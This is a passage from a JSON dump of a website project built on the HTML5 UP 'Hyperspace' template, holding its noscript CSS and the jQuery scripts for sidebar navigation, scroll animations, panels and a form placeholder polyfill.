1.25em;\n\t\t}\n\n\t\t\t@media screen and (max-width: 980px) {\n\n\t\t\t\t#intro p br {\n\t\t\t\t\tdisplay: none;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 736px) {\n\n\t\t\t\t#intro p {\n\t\t\t\t\tfont-size: 1em;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t#intro {\n\t\t\t\tbackground-attachment: scroll;\n\t\t\t}\n\n\t\t}"
  },
  {
    "path": "assets/css/noscript.css",
    "content": "/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n*/\n\n/* Spotlights */\n\n\t.spotlights > section > .image:before {\n\t\topacity: 0 !important;\n\t}\n\n\t.spotlights > section > .content > .inner {\n\t\t-moz-transform: none !important;\n\t\t-webkit-transform: none !important;\n\t\t-ms-transform: none !important;\n\t\ttransform: none !important;\n\t\topacity: 1 !important;\n\t}\n\n/* Wrapper */\n\n\t.wrapper > .inner {\n\t\topacity: 1 !important;\n\t\t-moz-transform: none !important;\n\t\t-webkit-transform: none !important;\n\t\t-ms-transform: none !important;\n\t\ttransform: none !important;\n\t}\n\n/* Sidebar */\n\n\t#sidebar > .inner {\n\t\topacity: 1 !important;\n\t}\n\n\t#sidebar nav > ul > li {\n\t\t-moz-transform: none !important;\n\t\t-webkit-transform: none !important;\n\t\t-ms-transform: none !important;\n\t\ttransform: none !important;\n\t\topacity: 1 !important;\n\t}"
  },
  {
    "path": "assets/js/main.js",
    "content": "/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n*/\r\n\r\n(function($) {\r\n\r\n\tvar\t$window = $(window),\r\n\t\t$body = $('body'),\r\n\t\t$sidebar = $('#sidebar');\r\n\r\n\t// Breakpoints.\r\n\t\tbreakpoints({\r\n\t\t\txlarge:   [ '1281px',  '1680px' ],\r\n\t\t\tlarge:    [ '981px',   '1280px' ],\r\n\t\t\tmedium:   [ '737px',   '980px'  ],\r\n\t\t\tsmall:    [ '481px',   '736px'  ],\r\n\t\t\txsmall:   [ null,      '480px'  ]\r\n\t\t});\r\n\r\n\t// Hack: Enable IE flexbox workarounds.\r\n\t\tif (browser.name == 'ie')\r\n\t\t\t$body.addClass('is-ie');\r\n\r\n\t// Play initial animations on page load.\r\n\t\t$window.on('load', function() {\r\n\t\t\twindow.setTimeout(function() {\r\n\t\t\t\t$body.removeClass('is-preload');\r\n\t\t\t}, 100);\r\n\t\t});\r\n\r\n\t// Forms.\r\n\r\n\t\t// Hack: Activate non-input submits.\r\n\t\t\t$('form').on('click', '.submit', function(event) {\r\n\r\n\t\t\t\t// Stop propagation, default.\r\n\t\t\t\t\tevent.stopPropagation();\r\n\t\t\t\t\tevent.preventDefault();\r\n\r\n\t\t\t\t// Submit form.\r\n\t\t\t\t\t$(this).parents('form').submit();\r\n\r\n\t\t\t});\r\n\r\n\t// Sidebar.\r\n\t\tif ($sidebar.length > 0) {\r\n\r\n\t\t\tvar $sidebar_a = $sidebar.find('a');\r\n\r\n\t\t\t$sidebar_a\r\n\t\t\t\t.addClass('scrolly')\r\n\t\t\t\t.on('click', function() {\r\n\r\n\t\t\t\t\tvar $this = $(this);\r\n\r\n\t\t\t\t\t// External link? Bail.\r\n\t\t\t\t\t\tif ($this.attr('href').charAt(0) != '#')\r\n\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t// Deactivate all links.\r\n\t\t\t\t\t\t$sidebar_a.removeClass('active');\r\n\r\n\t\t\t\t\t// Activate link *and* lock it (so Scrollex doesn't try to activate other links as we're scrolling to this one's section).\r\n\t\t\t\t\t\t$this\r\n\t\t\t\t\t\t\t.addClass('active')\r\n\t\t\t\t\t\t\t.addClass('active-locked');\r\n\r\n\t\t\t\t})\r\n\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\tvar\t$this = $(this),\r\n\t\t\t\t\t\tid = $this.attr('href'),\r\n\t\t\t\t\t\t$section = $(id);\r\n\r\n\t\t\t\t\t// No section for this link? Bail.\r\n\t\t\t\t\t\tif ($section.length < 1)\r\n\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t// Scrollex.\r\n\t\t\t\t\t\t$section.scrollex({\r\n\t\t\t\t\t\t\tmode: 'middle',\r\n\t\t\t\t\t\t\ttop: '-20vh',\r\n\t\t\t\t\t\t\tbottom: '-20vh',\r\n\t\t\t\t\t\t\tinitialize: function() {\r\n\r\n\t\t\t\t\t\t\t\t// Deactivate section.\r\n\t\t\t\t\t\t\t\t\t$section.addClass('inactive');\r\n\r\n\t\t\t\t\t\t\t},\r\n\t\t\t\t\t\t\tenter: function() {\r\n\r\n\t\t\t\t\t\t\t\t// Activate section.\r\n\t\t\t\t\t\t\t\t\t$section.removeClass('inactive');\r\n\r\n\t\t\t\t\t\t\t\t// No locked links? Deactivate all links and activate this section's one.\r\n\t\t\t\t\t\t\t\t\tif ($sidebar_a.filter('.active-locked').length == 0) {\r\n\r\n\t\t\t\t\t\t\t\t\t\t$sidebar_a.removeClass('active');\r\n\t\t\t\t\t\t\t\t\t\t$this.addClass('active');\r\n\r\n\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t// Otherwise, if this section's link is the one that's locked, unlock it.\r\n\t\t\t\t\t\t\t\t\telse if ($this.hasClass('active-locked'))\r\n\t\t\t\t\t\t\t\t\t\t$this.removeClass('active-locked');\r\n\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t});\r\n\r\n\t\t}\r\n\r\n\t// Scrolly.\r\n\t\t$('.scrolly').scrolly({\r\n\t\t\tspeed: 1000,\r\n\t\t\toffset: function() {\r\n\r\n\t\t\t\t// If <=large, >small, and sidebar is present, use its height as the offset.\r\n\t\t\t\t\tif (breakpoints.active('<=large')\r\n\t\t\t\t\t&&\t!breakpoints.active('<=small')\r\n\t\t\t\t\t&&\t$sidebar.length > 0)\r\n\t\t\t\t\t\treturn $sidebar.height();\r\n\r\n\t\t\t\treturn 0;\r\n\r\n\t\t\t}\r\n\t\t});\r\n\r\n\t// Spotlights.\r\n\t\t$('.spotlights > section')\r\n\t\t\t.scrollex({\r\n\t\t\t\tmode: 'middle',\r\n\t\t\t\ttop: '-10vh',\r\n\t\t\t\tbottom: '-10vh',\r\n\t\t\t\tinitialize: function() {\r\n\r\n\t\t\t\t\t// Deactivate section.\r\n\t\t\t\t\t\t$(this).addClass('inactive');\r\n\r\n\t\t\t\t},\r\n\t\t\t\tenter: function() {\r\n\r\n\t\t\t\t\t// Activate section.\r\n\t\t\t\t\t\t$(this).removeClass('inactive');\r\n\r\n\t\t\t\t}\r\n\t\t\t})\r\n\t\t\t.each(function() {\r\n\r\n\t\t\t\tvar\t$this = $(this),\r\n\t\t\t\t\t$image = $this.find('.image'),\r\n\t\t\t\t\t$img = $image.find('img'),\r\n\t\t\t\t\tx;\r\n\r\n\t\t\t\t// Assign image.\r\n\t\t\t\t\t$image.css('background-image', 'url(' + $img.attr('src') + ')');\r\n\r\n\t\t\t\t// Set background position.\r\n\t\t\t\t\tif (x = $img.data('position'))\r\n\t\t\t\t\t\t$image.css('background-position', x);\r\n\r\n\t\t\t\t// Hide <img>.\r\n\t\t\t\t\t$img.hide();\r\n\r\n\t\t\t});\r\n\r\n\t// Features.\r\n\t\t$('.features')\r\n\t\t\t.scrollex({\r\n\t\t\t\tmode: 'middle',\r\n\t\t\t\ttop: '-20vh',\r\n\t\t\t\tbottom: '-20vh',\r\n\t\t\t\tinitialize: function() {\r\n\r\n\t\t\t\t\t// Deactivate section.\r\n\t\t\t\t\t\t$(this).addClass('inactive');\r\n\r\n\t\t\t\t},\r\n\t\t\t\tenter: function() {\r\n\r\n\t\t\t\t\t// Activate section.\r\n\t\t\t\t\t\t$(this).removeClass('inactive');\r\n\r\n\t\t\t\t}\r\n\t\t\t});\r\n\r\n})(jQuery);"
  },
  {
    "path": "assets/js/util.js",
    "content": "(function($) {\r\n\r\n\t/**\r\n\t * Generate an indented list of links from a nav. Meant for use with panel().\r\n\t * @return {jQuery} jQuery object.\r\n\t */\r\n\t$.fn.navList = function() {\r\n\r\n\t\tvar\t$this = $(this);\r\n\t\t\t$a = $this.find('a'),\r\n\t\t\tb = [];\r\n\r\n\t\t$a.each(function() {\r\n\r\n\t\t\tvar\t$this = $(this),\r\n\t\t\t\tindent = Math.max(0, $this.parents('li').length - 1),\r\n\t\t\t\thref = $this.attr('href'),\r\n\t\t\t\ttarget = $this.attr('target');\r\n\r\n\t\t\tb.push(\r\n\t\t\t\t'<a ' +\r\n\t\t\t\t\t'class=\"link depth-' + indent + '\"' +\r\n\t\t\t\t\t( (typeof target !== 'undefined' && target != '') ? ' target=\"' + target + '\"' : '') +\r\n\t\t\t\t\t( (typeof href !== 'undefined' && href != '') ? ' href=\"' + href + '\"' : '') +\r\n\t\t\t\t'>' +\r\n\t\t\t\t\t'<span class=\"indent-' + indent + '\"></span>' +\r\n\t\t\t\t\t$this.text() +\r\n\t\t\t\t'</a>'\r\n\t\t\t);\r\n\r\n\t\t});\r\n\r\n\t\treturn b.join('');\r\n\r\n\t};\r\n\r\n\t/**\r\n\t * Panel-ify an element.\r\n\t * @param {object} userConfig User config.\r\n\t * @return {jQuery} jQuery object.\r\n\t */\r\n\t$.fn.panel = function(userConfig) {\r\n\r\n\t\t// No elements?\r\n\t\t\tif (this.length == 0)\r\n\t\t\t\treturn $this;\r\n\r\n\t\t// Multiple elements?\r\n\t\t\tif (this.length > 1) {\r\n\r\n\t\t\t\tfor (var i=0; i < this.length; i++)\r\n\t\t\t\t\t$(this[i]).panel(userConfig);\r\n\r\n\t\t\t\treturn $this;\r\n\r\n\t\t\t}\r\n\r\n\t\t// Vars.\r\n\t\t\tvar\t$this = $(this),\r\n\t\t\t\t$body = $('body'),\r\n\t\t\t\t$window = $(window),\r\n\t\t\t\tid = $this.attr('id'),\r\n\t\t\t\tconfig;\r\n\r\n\t\t// Config.\r\n\t\t\tconfig = $.extend({\r\n\r\n\t\t\t\t// Delay.\r\n\t\t\t\t\tdelay: 0,\r\n\r\n\t\t\t\t// Hide panel on link click.\r\n\t\t\t\t\thideOnClick: false,\r\n\r\n\t\t\t\t// Hide panel on escape keypress.\r\n\t\t\t\t\thideOnEscape: false,\r\n\r\n\t\t\t\t// Hide panel on swipe.\r\n\t\t\t\t\thideOnSwipe: false,\r\n\r\n\t\t\t\t// Reset scroll position on hide.\r\n\t\t\t\t\tresetScroll: false,\r\n\r\n\t\t\t\t// Reset forms on hide.\r\n\t\t\t\t\tresetForms: false,\r\n\r\n\t\t\t\t// Side of viewport the panel will appear.\r\n\t\t\t\t\tside: null,\r\n\r\n\t\t\t\t// Target element for \"class\".\r\n\t\t\t\t\ttarget: $this,\r\n\r\n\t\t\t\t// Class to toggle.\r\n\t\t\t\t\tvisibleClass: 'visible'\r\n\r\n\t\t\t}, userConfig);\r\n\r\n\t\t\t// Expand \"target\" if it's not a jQuery object already.\r\n\t\t\t\tif (typeof config.target != 'jQuery')\r\n\t\t\t\t\tconfig.target = $(config.target);\r\n\r\n\t\t// Panel.\r\n\r\n\t\t\t// Methods.\r\n\t\t\t\t$this._hide = function(event) {\r\n\r\n\t\t\t\t\t// Already hidden? Bail.\r\n\t\t\t\t\t\tif (!config.target.hasClass(config.visibleClass))\r\n\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t// If an event was provided, cancel it.\r\n\t\t\t\t\t\tif (event) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Hide.\r\n\t\t\t\t\t\tconfig.target.removeClass(config.visibleClass);\r\n\r\n\t\t\t\t\t// Post-hide stuff.\r\n\t\t\t\t\t\twindow.setTimeout(function() {\r\n\r\n\t\t\t\t\t\t\t// Reset scroll position.\r\n\t\t\t\t\t\t\t\tif (config.resetScroll)\r\n\t\t\t\t\t\t\t\t\t$this.scrollTop(0);\r\n\r\n\t\t\t\t\t\t\t// Reset forms.\r\n\t\t\t\t\t\t\t\tif (config.resetForms)\r\n\t\t\t\t\t\t\t\t\t$this.find('form').each(function() {\r\n\t\t\t\t\t\t\t\t\t\tthis.reset();\r\n\t\t\t\t\t\t\t\t\t});\r\n\r\n\t\t\t\t\t\t}, config.delay);\r\n\r\n\t\t\t\t};\r\n\r\n\t\t\t// Vendor fixes.\r\n\t\t\t\t$this\r\n\t\t\t\t\t.css('-ms-overflow-style', '-ms-autohiding-scrollbar')\r\n\t\t\t\t\t.css('-webkit-overflow-scrolling', 'touch');\r\n\r\n\t\t\t// Hide on click.\r\n\t\t\t\tif (config.hideOnClick) {\r\n\r\n\t\t\t\t\t$this.find('a')\r\n\t\t\t\t\t\t.css('-webkit-tap-highlight-color', 'rgba(0,0,0,0)');\r\n\r\n\t\t\t\t\t$this\r\n\t\t\t\t\t\t.on('click', 'a', function(event) {\r\n\r\n\t\t\t\t\t\t\tvar $a = $(this),\r\n\t\t\t\t\t\t\t\thref = $a.attr('href'),\r\n\t\t\t\t\t\t\t\ttarget = $a.attr('target');\r\n\r\n\t\t\t\t\t\t\tif (!href || href == '#' || href == '' || href == '#' + id)\r\n\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t\t// Cancel original event.\r\n\t\t\t\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\t\t\t// Hide panel.\r\n\t\t\t\t\t\t\t\t$this._hide();\r\n\r\n\t\t\t\t\t\t\t// Redirect to href.\r\n\t\t\t\t\t\t\t\twindow.setTimeout(function() {\r\n\r\n\t\t\t\t\t\t\t\t\tif (target == '_blank')\r\n\t\t\t\t\t\t\t\t\t\twindow.open(href);\r\n\t\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t\t\twindow.location.href = href;\r\n\r\n\t\t\t\t\t\t\t\t}, config.delay + 10);\r\n\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t}\r\n\r\n\t\t\t// Event: Touch stuff.\r\n\t\t\t\t$this.on('touchstart', function(event) {\r\n\r\n\t\t\t\t\t$this.touchPosX = event.originalEvent.touches[0].pageX;\r\n\t\t\t\t\t$this.touchPosY = event.originalEvent.touches[0].pageY;\r\n\r\n\t\t\t\t})\r\n\r\n\t\t\t\t$this.on('touchmove', function(event) {\r\n\r\n\t\t\t\t\tif ($this.touchPosX === null\r\n\t\t\t\t\t||\t$this.touchPosY === null)\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\tvar\tdiffX = $this.touchPosX - event.originalEvent.touches[0].pageX,\r\n\t\t\t\t\t\tdiffY = $this.touchPosY - event.originalEvent.touches[0].pageY,\r\n\t\t\t\t\t\tth = $this.outerHeight(),\r\n\t\t\t\t\t\tts = ($this.get(0).scrollHeight - $this.scrollTop());\r\n\r\n\t\t\t\t\t// Hide on swipe?\r\n\t\t\t\t\t\tif (config.hideOnSwipe) {\r\n\r\n\t\t\t\t\t\t\tvar result = false,\r\n\t\t\t\t\t\t\t\tboundary = 20,\r\n\t\t\t\t\t\t\t\tdelta = 50;\r\n\r\n\t\t\t\t\t\t\tswitch (config.side) {\r\n\r\n\t\t\t\t\t\t\t\tcase 'left':\r\n\t\t\t\t\t\t\t\t\tresult = (diffY < boundary && diffY > (-1 * boundary)) && (diffX > delta);\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'right':\r\n\t\t\t\t\t\t\t\t\tresult = (diffY < boundary && diffY > (-1 * boundary)) && (diffX < (-1 * delta));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'top':\r\n\t\t\t\t\t\t\t\t\tresult = (diffX < boundary && diffX > (-1 * boundary)) && (diffY > delta);\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'bottom':\r\n\t\t\t\t\t\t\t\t\tresult = (diffX < boundary && diffX > (-1 * boundary)) && (diffY < (-1 * delta));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\tif (result) {\r\n\r\n\t\t\t\t\t\t\t\t$this.touchPosX = null;\r\n\t\t\t\t\t\t\t\t$this.touchPosY = null;\r\n\t\t\t\t\t\t\t\t$this._hide();\r\n\r\n\t\t\t\t\t\t\t\treturn false;\r\n\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Prevent vertical scrolling past the top or bottom.\r\n\t\t\t\t\t\tif (($this.scrollTop() < 0 && diffY < 0)\r\n\t\t\t\t\t\t|| (ts > (th - 2) && ts < (th + 2) && diffY > 0)) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t});\r\n\r\n\t\t\t// Event: Prevent certain events inside the panel from bubbling.\r\n\t\t\t\t$this.on('click touchend touchstart touchmove', function(event) {\r\n\t\t\t\t\tevent.stopPropagation();\r\n\t\t\t\t});\r\n\r\n\t\t\t// Event: Hide panel if a child anchor tag pointing to its ID is clicked.\r\n\t\t\t\t$this.on('click', 'a[href=\"#' + id + '\"]', function(event) {\r\n\r\n\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\tconfig.target.removeClass(config.visibleClass);\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Body.\r\n\r\n\t\t\t// Event: Hide panel on body click/tap.\r\n\t\t\t\t$body.on('click touchend', function(event) {\r\n\t\t\t\t\t$this._hide(event);\r\n\t\t\t\t});\r\n\r\n\t\t\t// Event: Toggle.\r\n\t\t\t\t$body.on('click', 'a[href=\"#' + id + '\"]', function(event) {\r\n\r\n\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\tconfig.target.toggleClass(config.visibleClass);\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Window.\r\n\r\n\t\t\t// Event: Hide on ESC.\r\n\t\t\t\tif (config.hideOnEscape)\r\n\t\t\t\t\t$window.on('keydown', function(event) {\r\n\r\n\t\t\t\t\t\tif (event.keyCode == 27)\r\n\t\t\t\t\t\t\t$this._hide(event);\r\n\r\n\t\t\t\t\t});\r\n\r\n\t\treturn $this;\r\n\r\n\t};\r\n\r\n\t/**\r\n\t * Apply \"placeholder\" attribute polyfill to one or more forms.\r\n\t * @return {jQuery} jQuery object.\r\n\t */\r\n\t$.fn.placeholder = function() {\r\n\r\n\t\t// Browser natively supports placeholders? Bail.\r\n\t\t\tif (typeof (document.createElement('input')).placeholder != 'undefined')\r\n\t\t\t\treturn $(this);\r\n\r\n\t\t// No elements?\r\n\t\t\tif (this.length == 0)\r\n\t\t\t\treturn $this;\r\n\r\n\t\t// Multiple elements?\r\n\t\t\tif (this.length > 1) {\r\n\r\n\t\t\t\tfor (var i=0; i < this.length; i++)\r\n\t\t\t\t\t$(this[i]).placeholder();\r\n\r\n\t\t\t\treturn $this;\r\n\r\n\t\t\t}\r\n\r\n\t\t// Vars.\r\n\t\t\tvar $this = $(this);\r\n\r\n\t\t// Text, TextArea.\r\n\t\t\t$this.find('input[type=text],textarea')\r\n\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\tvar i = $(this);\r\n\r\n\t\t\t\t\tif (i.val() == ''\r\n\t\t\t\t\t||  i.val() == i.attr('placeholder'))\r\n\t\t\t\t\t\ti\r\n\t\t\t\t\t\t\t.addClass('polyfill-placeholder')\r\n\t\t\t\t\t\t\t.val(i.attr('placeholder'));\r\n\r\n\t\t\t\t})\r\n\t\t\t\t.on('blur', function() {\r\n\r\n\t\t\t\t\tvar i = $(this);\r\n\r\n\t\t\t\t\tif (i.attr('name').match(/-polyfill-field$/))\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\tif (i.val() == '')\r\n\t\t\t\t\t\ti\r\n\t\t\t\t\t\t\t.addClass('polyfill-placeholder')\r\n\t\t\t\t\t\t\t.val(i.attr('placeholder'));\r\n\r\n\t\t\t\t})\r\n\t\t\t\t.on('focus', function() {\r\n\r\n\t\t\t\t\tvar i = $(this);\r\n\r\n\t\t\t\t\tif (i.attr('name').match(/-polyfill-field$/))\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\tif (i.val() == i.attr('placeholder'))\r\n\t\t\t\t\t\ti\r\n\t\t\t\t\t\t\t.removeClass('polyfill-placeholder')\r\n\t\t\t\t\t\t\t.val('');\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Password.\r\n\t\t\t$this.find('input[type=password]')\r\n\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\tvar i = $(this);\r\n\t\t\t\t\tvar x = $(\r\n\t\t\t\t\t\t\t\t$('<div>')\r\n\t\t\t\t\t\t\t\t\t.append(i.clone())\r\n\t\t\t\t\t\t\t\t\t.remove()\r\n\t\t\t\t\t\t\t\t\t.html()\r\n\t\t\t\t\t\t\t\t\t.replace(/type=\"password\"/i, 'type=\"text\"')\r\n\t\t\t\t\t\t\t\t\t.replace(/type=password/i, 'type=text')\r\n\t\t\t\t\t);\r\n\r\n\t\t\t\t\tif (i.attr('id') != '')\r\n\t\t\t\t\t\tx.attr('id', i.attr('id') + '-polyfill-field');\r\n\r\n\t\t\t\t\tif (i.attr('name') != '')\r\n\t\t\t\t\t\tx.attr('name', i.attr('name') + '-polyfill-field');\r\n\r\n\t\t\t\t\tx.addClass('polyfill-placeholder')\r\n\t\t\t\t\t\t.val(x.attr('placeholder')).insertAfter(i);\r\n\r\n\t\t\t\t\tif (i.val() == '')\r\n\t\t\t\t\t\ti.hide();\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\tx.hide();\r\n\r\n\t\t\t\t\ti\r\n\t\t\t\t\t\t.on('blur', function(event) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\r\n\t\t\t\t\t\t\tvar x = i.parent().find('input[name=' + i.attr('name') + '-polyfill-field]');\r\n\r\n\t\t\t\t\t\t\tif (i.val() == '') {\r\n\r\n\t\t\t\t\t\t\t\ti.hide();\r\n\t\t\t\t\t\t\t\tx.show();\r\n\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t\tx\r\n\t\t\t\t\t\t.on('focus', function(event) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\r\n\t\t\t\t\t\t\tvar i = x.parent().find('input[name=' + x.attr('name').replace('-polyfill-field', '') + ']');\r\n\r\n\t\t\t\t\t\t\tx.hide();\r\n\r\n\t\t\t\t\t\t\ti\r\n\t\t\t\t\t\t\t\t.show()\r\n\t\t\t\t\t\t\t\t.focus();\r\n\r\n\t\t\t\t\t\t})\r\n\t\t\t\t\t\t.on('keypress', function(event) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\t\tx.val('');\r\n\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Events.\r\n\t\t\t$this\r\n\t\t\t\t.on('submit', function() {\r\n\r\n\t\t\t\t\t$this.find('input[type=text],input[type=password],textarea')\r\n\t\t\t\t\t\t.each(function(event) {\r\n\r\n\t\t\t\t\t\t\tvar i = $(this);\r\n\r\n\t\t\t\t\t\t\tif (i.attr('name').match(/-polyfill-field$/))\r\n\t\t\t\t\t\t\t\ti.attr('name', '');\r\n\r\n\t\t\t\t\t\t\tif (i.val() == i.attr('placeholder')) {\r\n\r\n\t\t\t\t\t\t\t\ti.removeClass('polyfill-placeholder');\r\n\t\t\t\t\t\t\t\ti.val('');\r\n\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t})\r\n\t\t\t\t.on('reset', function(event) {\r\n\r\n\t\t\t\t\tevent.preventDefault();\r\n\r\n\t\t\t\t\t$this.find('select')\r\n\t\t\t\t\t\t.val($('option:first').val());\r\n\r\n\t\t\t\t\t$this.find('input,textarea')\r\n\t\t\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\t\t\tvar i = $(this),\r\n\t\t\t\t\t\t\t\tx;\r\n\r\n\t\t\t\t\t\t\ti.removeClass('polyfill-placeholder');\r\n\r\n\t\t\t\t\t\t\tswitch (this.type) {\r\n\r\n\t\t\t\t\t\t\t\tcase 'submit':\r\n\t\t\t\t\t\t\t\tcase 'reset':\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'password':\r\n\t\t\t\t\t\t\t\t\ti.val(i.attr('defaultValue'));\r\n\r\n\t\t\t\t\t\t\t\t\tx = i.parent().find('input[name=' + i.attr('name') + '-polyfill-field]');\r\n\r\n\t\t\t\t\t\t\t\t\tif (i.val() == '') {\r\n\t\t\t\t\t\t\t\t\t\ti.hide();\r\n\t\t\t\t\t\t\t\t\t\tx.show();\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\telse {\r\n\t\t\t\t\t\t\t\t\t\ti.show();\r\n\t\t\t\t\t\t\t\t\t\tx.hide();\r\n\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'checkbox':\r\n\t\t\t\t\t\t\t\tcase 'radio':\r\n\t\t\t\t\t\t\t\t\ti.attr('checked', i.attr('defaultValue'));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'text':\r\n\t\t\t\t\t\t\t\tcase 'textarea':\r\n\t\t\t\t\t\t\t\t\ti.val(i.attr('defaultValue'));\r\n\r\n\t\t\t\t\t\t\t\t\tif (i.val() == '') {\r\n\t\t\t\t\t\t\t\t\t\ti.addClass('polyfill-placeholder');\r\n\t\t\t\t\t\t\t\t\t\ti.val(i.attr('placeholder'));\r\n\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t\t\ti.val(i.attr('defaultValue'));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t});\r\n\r\n\t\treturn $this;\r\n\r\n\t};\r\n\r\n\t/**\r\n\t * Moves elements to/from the first positions of their respective parents.\r\n\t * @param {jQuery} $elements Elements (or selector) to move.\r\n\t * @param {bool} condition If true, moves elements to the top. Otherwise, moves elements back to their original locations.\r\n\t */\r\n\t$.prioritize = function($elements, condition) {\r\n\r\n\t\tvar key = '__prioritize';\r\n\r\n\t\t// Expand $elements if it's not already a jQuery object.\r\n\t\t\tif (typeof $elements != 'jQuery')\r\n\t\t\t\t$elements = $($elements);\r\n\r\n\t\t// Step through elements.\r\n\t\t\t$elements.each(function() {\r\n\r\n\t\t\t\tvar\t$e = $(this), $p,\r\n\t\t\t\t\t$parent = $e.parent();\r\n\r\n\t\t\t\t// No parent? Bail.\r\n\t\t\t\t\tif ($parent.length == 0)\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t// Not moved? Move it.\r\n\t\t\t\t\tif (!$e.data(key)) {\r\n\r\n\t\t\t\t\t\t// Condition is false? Bail.\r\n\t\t\t\t\t\t\tif (!condition)\r\n\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t// Get placeholder (which will serve as our point of reference for when this element needs to move back).\r\n\t\t\t\t\t\t\t$p = $e.prev();\r\n\r\n\t\t\t\t\t\t\t// Couldn't find anything? Means this element's already at the top, so bail.\r\n\t\t\t\t\t\t\t\tif ($p.length == 0)\r\n\t\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t// Move element to top of parent.\r\n\t\t\t\t\t\t\t$e.prependTo($parent);\r\n\r\n\t\t\t\t\t\t// Mark element as moved.\r\n\t\t\t\t\t\t\t$e.data(key, $p);\r\n\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t// Moved already?\r\n\t\t\t\t\telse {\r\n\r\n\t\t\t\t\t\t// Condition is true? Bail.\r\n\t\t\t\t\t\t\tif (condition)\r\n\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t$p = $e.data(key);\r\n\r\n\t\t\t\t\t\t// Move element back to its original location (using our placeholder).\r\n\t\t\t\t\t\t\t$e.insertAfter($p);\r\n\r\n\t\t\t\t\t\t// Unmark element as moved.\r\n\t\t\t\t\t\t\t$e.removeData(key);\r\n\r\n\t\t\t\t\t}\r\n\r\n\t\t\t});\r\n\r\n\t};\r\n\r\n})(jQuery);"
  },
  {
    "path": "assets/sass/base/_page.scss",
